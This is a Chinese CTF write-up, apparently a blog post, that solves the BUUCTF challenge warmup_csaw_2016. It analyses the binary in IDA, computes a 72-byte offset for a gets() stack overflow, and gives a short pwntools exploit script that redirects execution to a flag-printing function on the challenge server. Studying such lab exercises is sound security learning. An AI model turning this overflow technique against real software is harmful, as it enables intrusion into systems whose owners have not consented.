PWN学习记录(3)BUUCTF-warmup_csaw_2016


在这里插入图片描述

1、在终端中使用命令查看warmup_csaw_2016

下载题目得到 warmup_csaw_2016,利用 file 命令查看该文件的类型,再通过checksec ./filename查看保护机制

$ file warmup_csaw_2016
$ checksec ./warmup_csaw_2016

在这里插入图片描述
可得该文件是64位且该题任何保护都没有打开,所以我们可以实现最简单的栈溢出

运行该文件:
在这里插入图片描述

2、在IDA中查看warmup_csaw_2016

将warmup_csaw_2016文件放入IDA中查看,打开字符串窗口。没有发现 /bin/sh,但找到了cat flag.txt
在这里插入图片描述
双击cat flag.text
在这里插入图片描述
来自sub_40060D
打开sub_40060D,F5反编译
在这里插入图片描述
果然是system函数,可以看到这个函数的功能就是输出flag,记录下他的地址 flag_addr=0x40060D
回到sub_40060D的图形化界面
在这里插入图片描述
双击rbp,弹出界面
在这里插入图片描述
得到返回地址0x40060D

打开main函数,F5反编译
在这里插入图片描述
由**char v5[64]**可得,在main函数的栈帧中,划分了一个64字节的存储空间,也就是说只需要存入64个字节地址,就可以get函数返回地址。
偏移量为:64 + 8 = 72 (64位+8;32位+4)
//由函数可得输出了v5,gets函数并没有限制长度,因此存在溢出漏洞。v5的大小是0x40,因此只要我们输入的字符串长度=0x40+8(64位ebp的长度)即可溢出到返回地址,再将返回地址覆盖输出flag的那个函数地址即可
参考:https://blog.csdn.net/BangSen1/article/details/112630600

3、编写exp,夺flag

from pwn import *
p = remote('node4.buuoj.cn', 26353)
payload = b'a' * (72) + p64(0x40060D) //或者b'a' * (0x40+8) + p64(0x40060D)或者b'a' * (64+8) + p64(0x400611) 
p.sendline(payload)
p.interactive()

问题:这里返回地址这几个都能得出flag?等待补充
在这里插入图片描述

打开终端,输入vim 1.py 创建一个python文件(命名随意)

$ vim 1.py

将exp文件输入进1.py中,Esc+:wq保存并退出1.py

运行代码

$ python3 1.py

在这里插入图片描述
将得到的flag复制到题目的flag框中:

flag{2035cb75-98aa-46ae-8cf0-61c471c94ad}

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值